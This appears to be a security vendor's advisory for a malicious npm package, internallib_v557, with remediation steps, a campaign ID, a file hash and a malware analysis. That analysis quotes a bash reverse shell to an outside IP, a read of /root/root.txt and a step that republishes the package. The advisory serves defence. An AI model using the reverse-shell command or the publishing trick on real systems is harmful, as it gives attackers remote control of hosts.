Which versions of internallib_v557 are malicious?

The following npm versions of internallib_v557 are flagged malicious: 1.0.10. Treat any of these as compromised.

How do I remediate internallib_v557 if I installed it?

Remove internallib_v557 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is internallib_v557 part of a known attack campaign?

Yes — internallib_v557 is associated with the IN-MAL-2026-005751 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect internallib_v557 in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking internallib_v557 and packages like it before any post-install script runs.

Malicious package

internallib_v557npm

Malicious code in internallib_v557 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5678

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v557

What this malware does

internallib_v557 has no legitimate functionality — its single exported command() function in index.js writes a malicious package.json to /tmp/uhclabs_local_check/ whose start script is a bash reverse shell to 10.0.0.145:9999 (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.145/9999 0>&1'), then runs npm publish --registry http://0.0.0.0:4873/ to push that reverse-shell-bearing package into a local Verdaccio registry where it can be pulled by other consumers. The same function also executes cat /root/root.txt and logs the contents to stdout, attempting to exfiltrate a privileged host file the package has no legitimate need to read. The harmful path fires when any consumer requires the package and invokes the advertised API; since the package has no other functionality, normal use guarantees compromise.

Malicious versions

1 flagged

1.0.10

Indicators of compromise (SHA-256)

5cfa498f80e5965de3c072803c8d6e812e75bc5a4fb031f739cbd9c181724be3

Frequently asked questions

No. internallib_v557 on npm has been identified as a malicious package (version 1.0.10 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005751

References

npmjs.com

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection